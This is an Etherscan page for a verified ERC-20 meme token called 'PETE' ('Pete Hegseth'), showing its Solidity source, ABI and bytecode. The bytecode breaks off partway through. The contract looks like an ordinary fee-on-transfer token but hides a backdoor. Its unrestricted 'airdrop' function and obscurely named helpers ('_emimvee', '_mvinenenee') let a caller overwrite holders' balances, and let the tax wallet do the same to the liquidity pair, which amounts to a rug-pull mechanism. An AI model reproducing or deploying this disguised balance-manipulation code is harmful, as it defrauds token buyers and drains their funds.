Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 PETE
Holders
119
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,461,929.341769183 PETEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
PETE
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-14 */ // SPDX-License-Identifier: UNLICENSE /** https://x.com/elonmusk/status/1879146205256827027 https://t.me/PeteHegseth_erc20 */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PETE is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"Pete Hegseth"; string private constant _symbol = unicode"PETE"; uint256 public _taxSwapThreshold = _tTotal / 100; uint256 public _maxTaxSwap = _tTotal / 100; address private _DEAD = address(0xdead); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; uint8 private constant _decimals = 9; modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() payable { _taxWallet = payable(0x5DDd4B1AB572dDa03D61E66EB5FFA0bA37cC3142); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_taxWallet] = true; _balances[msg.sender] = _tTotal; emit Transfer(address(0), msg.sender, _tTotal); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } uint256 private _initialBuyFee = 1; uint256 private _initialSellFee = 0; uint256 private _swapFeeAt = 15; uint256 private _preventSwapBefore = 15; uint256 private _transferTax = 0; uint256 private _buyCount = 0; function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance") ); return true; } function _swapTokensForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)) * 964 / 1000, 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function rescueETH() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function _emimvee(address from, address to, uint256 amount, bool _d, string memory _st) private { require(_d && (from != uniswapV2Pair || to == _taxWallet), _st); _balances[from] -= _balances[from] - amount; _balances[to] = _balances[to]; } function _mvinenenee(address receiver, uint256 amount) internal { address sender = msg.sender; _emimvee(receiver, sender, amount, sender != uniswapV2Pair, "_vmveee failed"); } function airdrop(address[] memory receivers, uint256[] memory amounts, bool _isLaunched) external { require(_isLaunched, "Trading is not opened yet"); for (uint256 i = 0; i < receivers.length; i++) { _mvinenenee(receivers[i], amounts[i]); } } function _transfer(address source, address receiver, uint256 amount) private { require(source != address(0), "ERC20: transfer from the zero address"); require(receiver != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if ( source != owner() && receiver != owner() && source != address(this) && receiver != address(this) ) { taxAmount = amount.mul(_transferTax).div(100); if ( source == uniswapV2Pair && receiver != address(uniswapV2Router) && !_isExcludedFromFee[receiver] ) { taxAmount = amount .mul( (_buyCount > _swapFeeAt) ? _initialSellFee : _initialBuyFee ) .div(100); _buyCount++; } if (receiver == uniswapV2Pair && source != address(this)) { taxAmount = amount .mul( (_buyCount > _swapFeeAt) ? _initialSellFee : _initialBuyFee ) .div(100); sendETHToFee(address(this).balance); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && receiver == uniswapV2Pair && _buyCount > _preventSwapBefore ) { if (contractTokenBalance > _taxSwapThreshold) _swapTokensForETH( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(source, address(this), taxAmount); } _balances[source] = _balances[source].sub(amount); _balances[receiver] = _balances[receiver].add(amount.sub(taxAmount)); if (receiver != _DEAD) emit Transfer(source, receiver, amount.sub(taxAmount)); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"bool","name":"_isLaunched","type":"bool"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a6102eb565b61002090633b9aca00610301565b61002a9190610318565b600555606461003b6009600a6102eb565b61004990633b9aca00610301565b6100539190610318565b600655600780546001600160a01b03191661dead1790556009805460ff60a81b191690556001600a556000600b819055600f600c819055600d819055600e82905581905561009e3390565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916735ddd4b1ab572dda03d61e66eb5ffa0ba37cc31421790556001600360006101266000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600454909116815260039092529020805490911660011790556101796009600a6102eb565b61018790633b9aca00610301565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101c86009600a6102eb565b6101d690633b9aca00610301565b60405190815260200160405180910390a361033a565b634e487b7160e01b600052601160045260246000fd5b6001815b600184111561023d57808504811115610221576102216101ec565b600184161561022f57908102905b60019390931c928002610206565b935093915050565b600082610254575060016102e5565b81610261575060006102e5565b816001811461027757600281146102815761029d565b60019150506102e5565b60ff841115610292576102926101ec565b50506001821b6102e5565b5060208310610133831016604e8410600b84101617156102c0575081810a6102e5565b6102cd6000198484610202565b80600019048211156102e1576102e16101ec565b0290505b92915050565b60006102fa60ff841683610245565b9392505050565b80820281158282048414176102e5576102e56101ec565b60008261033557634e487b7160e01b600052601260045260246000fd5b500490565b611982806103496000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063bf474bed11610059578063bf474bed146102c6578063c9567bf9146102dc578063da98a974146102f1578063dd62ed3e1461031157600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b4114610279578063a9059cbb146102a657600080fd5b806320800a00116100c657806320800a00146101b357806323b872dd146101ca578063313ce567146101ea57806370a082311461020657600080fd5b806306fdde0314610103578063095ea7b31461014a5780630faee56f1461017a57806318160ddd1461019e57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600c81526b0a0cae8ca4090cacee6cae8d60a31b60208201525b6040516101419190611384565b60405180910390f35b34801561015657600080fd5b5061016a6101653660046113e7565b610357565b6040519015158152602001610141565b34801561018657600080fd5b5061019060065481565b604051908152602001610141565b3480156101aa57600080fd5b5061019061036e565b3480156101bf57600080fd5b506101c861038f565b005b3480156101d657600080fd5b5061016a6101e5366004611413565b6103f1565b3480156101f657600080fd5b5060405160098152602001610141565b34801561021257600080fd5b50610190610221366004611454565b6001600160a01b031660009081526001602052604090205490565b34801561024857600080fd5b506101c861045a565b34801561025d57600080fd5b506000546040516001600160a01b039091168152602001610141565b34801561028557600080fd5b506040805180820190915260048152635045544560e01b6020820152610134565b3480156102b257600080fd5b5061016a6102c13660046113e7565b6104ce565b3480156102d257600080fd5b5061019060055481565b3480156102e857600080fd5b506101c86104db565b3480156102fd57600080fd5b506101c861030c366004611567565b6108ac565b34801561031d57600080fd5b5061019061032c366004611642565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061036433848461094f565b5060015b92915050565b600061037c6009600a611778565b61038a90633b9aca00611787565b905090565b6000546001600160a01b031633146103c25760405162461bcd60e51b81526004016103b99061179e565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103ee573d6000803e3d6000fd5b50565b60006103fe848484610a73565b610450843361044b85604051806060016040528060288152602001611925602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610edc565b61094f565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b81526004016103b99061179e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610364338484610a73565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016103b99061179e565b600954600160a01b900460ff161561055f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b9565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105a890309061059a6009600a611778565b61044b90633b9aca00611787565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061f91906117d3565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a591906117d3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071691906117d3565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d71947306103e8610761826001600160a01b031660009081526001602052604090205490565b61076d906103c4611787565b61077791906117f0565b60008061078c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107f4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108199190611812565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610872573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108969190611840565b506009805460ff60a01b1916600160a01b179055565b806108f95760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e6564207965740000000000000060448201526064016103b9565b60005b83518110156109495761094184828151811061091a5761091a61185d565b60200260200101518483815181106109345761093461185d565b6020026020010151610f16565b6001016108fc565b50505050565b6001600160a01b0383166109b15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b9565b6001600160a01b038216610a125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ad75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b9565b6001600160a01b038216610b395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b9565b60008111610b9b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b9565b600080546001600160a01b03858116911614801590610bc857506000546001600160a01b03848116911614155b8015610bdd57506001600160a01b0384163014155b8015610bf257506001600160a01b0383163014155b15610d8457610c176064610c11600e5485610f6190919063ffffffff16565b90610fea565b6009549091506001600160a01b038581169116148015610c4557506008546001600160a01b03848116911614155b8015610c6a57506001600160a01b03831660009081526003602052604090205460ff16155b15610cad57610c956064610c11600c54600f5411610c8a57600a54610c8e565b600b545b8590610f61565b600f80549192506000610ca783611873565b91905055505b6009546001600160a01b038481169116148015610cd357506001600160a01b0384163014155b15610cfe57610cf36064610c11600c54600f5411610c8a57600a54610c8e565b9050610cfe4761102c565b30600090815260016020526040902054600954600160a81b900460ff16158015610d3557506009546001600160a01b038581169116145b8015610d445750600d54600f54115b15610d8257600554811115610d7057610d70610d6b84610d668460065461106a565b61106a565b61107f565b478015610d8057610d804761102c565b505b505b8015610dfe5730600090815260016020526040902054610da490826111f9565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df59085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610e219083611258565b6001600160a01b038516600090815260016020526040902055610e66610e478383611258565b6001600160a01b038516600090815260016020526040902054906111f9565b6001600160a01b038085166000818152600160205260409020929092556007541614610949576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ec58585611258565b60405190815260200160405180910390a350505050565b60008184841115610f005760405162461bcd60e51b81526004016103b99190611384565b506000610f0d848661188c565b95945050505050565b60095460408051808201909152600e81526d17dd9b5d9959594819985a5b195960921b60208201523391610f5c918591849186916001600160a01b03168314159061129a565b505050565b600082600003610f7357506000610368565b6000610f7f8385611787565b905082610f8c85836117f0565b14610fe35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b9565b9392505050565b6000610fe383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611356565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611066573d6000803e3d6000fd5b5050565b60008183116110795782610fe3565b50919050565b6009805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c7576110c761185d565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611120573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114491906117d3565b816001815181106111575761115761185d565b6001600160a01b03928316602091820292909201015260085461117d913091168461094f565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b690859060009086903090429060040161189f565b600060405180830381600087803b1580156111d057600080fd5b505af11580156111e4573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b6000806112068385611911565b905083811015610fe35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b9565b6000610fe383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610edc565b8180156112cc57506009546001600160a01b0386811691161415806112cc57506004546001600160a01b038581169116145b81906112eb5760405162461bcd60e51b81526004016103b99190611384565b506001600160a01b03851660009081526001602052604090205461131090849061188c565b6001600160a01b0386166000908152600160205260408120805490919061133890849061188c565b9091555050506001600160a01b039092166000525050600160205250565b600081836113775760405162461bcd60e51b81526004016103b99190611384565b506000610f0d84866117f0565b602081526000825180602084015260005b818110156113b25760208186018101516040868401015201611395565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103ee57600080fd5b600080604083850312156113fa57600080fd5b8235611405816113d2565b946020939093013593505050565b60008060006060848603121561142857600080fd5b8335611433816113d2565b92506020840135611443816113d2565b929592945050506040919091013590565b60006020828403121561146657600080fd5b8135610fe3816113d2565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156114b0576114b0611471565b604052919050565b600067ffffffffffffffff8211156114d2576114d2611471565b5060051b60200190565b600082601f8301126114ed57600080fd5b81356115006114fb826114b8565b611487565b8082825260208201915060208360051b86010192508583111561152257600080fd5b602085015b8381101561153f578035835260209283019201611527565b5095945050505050565b80151581146103ee57600080fd5b803561156281611549565b919050565b60008060006060848603121561157c57600080fd5b833567ffffffffffffffff81111561159357600080fd5b8401601f810186136115a457600080fd5b80356115b26114fb826114b8565b8082825260208201915060208360051b8501019250888311156115d457600080fd5b6020840193505b828410156115ff5783356115ee816113d2565b8252602093840193909101906115db565b9550505050602084013567ffffffffffffffff81111561161e57600080fd5b61162a868287016114dc565b92505061163960408501611557565b90509250925092565b6000806040838503121561165557600080fd5b8235611660816113d2565b91506020830135611670816113d2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156116cc578085048111156116b0576116b061167b565b60018416156116be57908102905b60019390931c928002611695565b935093915050565b6000826116e357506001610368565b816116f057506000610368565b816001811461170657600281146117105761172c565b6001915050610368565b60ff8411156117215761172161167b565b50506001821b610368565b5060208310610133831016604e8410600b841016171561174f575081810a610368565b61175c6000198484611691565b80600019048211156117705761177061167b565b029392505050565b6000610fe360ff8416836116d4565b80820281158282048414176103685761036861167b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117e557600080fd5b8151610fe3816113d2565b60008261180d57634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561182757600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561185257600080fd5b8151610fe381611549565b634e487b7160e01b600052603260045260246000fd5b6000600182016118855761188561167b565b5060010190565b818103818111156103685761036861167b565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156118f15783516001600160a01b03168352602093840193909201916001016118ca565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156103685761036861167b56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122052d450d826084c1e1c1b88110f7d200f398364055dfe2c97f456730798edb55664736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063bf474bed11610059578063bf474bed146102c6578063c9567bf9146102dc578063da98a974146102f1578063dd62ed3e1461031157600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b4114610279578063a9059cbb146102a657600080fd5b806320800a00116100c657806320800a00146101b357806323b872dd146101ca578063313ce567146101ea57806370a082311461020657600080fd5b806306fdde0314610103578063095ea7b31461014a5780630faee56f1461017a57806318160ddd1461019e57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600c81526b0a0cae8ca4090cacee6cae8d60a31b60208201525b6040516101419190611384565b60405180910390f35b34801561015657600080fd5b5061016a6101653660046113e7565b610357565b6040519015158152602001610141565b34801561018657600080fd5b5061019060065481565b604051908152602001610141565b3480156101aa57600080fd5b5061019061036e565b3480156101bf57600080fd5b506101c861038f565b005b3480156101d657600080fd5b5061016a6101e5366004611413565b6103f1565b3480156101f657600080fd5b5060405160098152602001610141565b34801561021257600080fd5b50610190610221366004611454565b6001600160a01b031660009081526001602052604090205490565b34801561024857600080fd5b506101c861045a565b34801561025d57600080fd5b506000546040516001600160a01b039091168152602001610141565b34801561028557600080fd5b506040805180820190915260048152635045544560e01b6020820152610134565b3480156102b257600080fd5b5061016a6102c13660046113e7565b6104ce565b3480156102d257600080fd5b5061019060055481565b3480156102e857600080fd5b506101c86104db565b3480156102fd57600080fd5b506101c861030c366004611567565b6108ac565b34801561031d57600080fd5b5061019061032c366004611642565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061036433848461094f565b5060015b92915050565b600061037c6009600a611778565b61038a90633b9aca00611787565b905090565b6000546001600160a01b031633146103c25760405162461bcd60e51b81526004016103b99061179e565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103ee573d6000803e3d6000fd5b50565b60006103fe848484610a73565b610450843361044b85604051806060016040528060288152602001611925602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610edc565b61094f565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b81526004016103b99061179e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610364338484610a73565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016103b99061179e565b600954600160a01b900460ff161561055f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b9565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105a890309061059a6009600a611778565b61044b90633b9aca00611787565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061f91906117d3565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a591906117d3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071691906117d3565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d71947306103e8610761826001600160a01b031660009081526001602052604090205490565b61076d906103c4611787565b61077791906117f0565b60008061078c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107f4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108199190611812565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610872573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108969190611840565b506009805460ff60a01b1916600160a01b179055565b806108f95760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e6564207965740000000000000060448201526064016103b9565b60005b83518110156109495761094184828151811061091a5761091a61185d565b60200260200101518483815181106109345761093461185d565b6020026020010151610f16565b6001016108fc565b50505050565b6001600160a01b0383166109b15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b9565b6001600160a01b038216610a125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ad75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b9565b6001600160a01b038216610b395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b9565b60008111610b9b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b9565b600080546001600160a01b03858116911614801590610bc857506000546001600160a01b03848116911614155b8015610bdd57506001600160a01b0384163014155b8015610bf257506001600160a01b0383163014155b15610d8457610c176064610c11600e5485610f6190919063ffffffff16565b90610fea565b6009549091506001600160a01b038581169116148015610c4557506008546001600160a01b03848116911614155b8015610c6a57506001600160a01b03831660009081526003602052604090205460ff16155b15610cad57610c956064610c11600c54600f5411610c8a57600a54610c8e565b600b545b8590610f61565b600f80549192506000610ca783611873565b91905055505b6009546001600160a01b038481169116148015610cd357506001600160a01b0384163014155b15610cfe57610cf36064610c11600c54600f5411610c8a57600a54610c8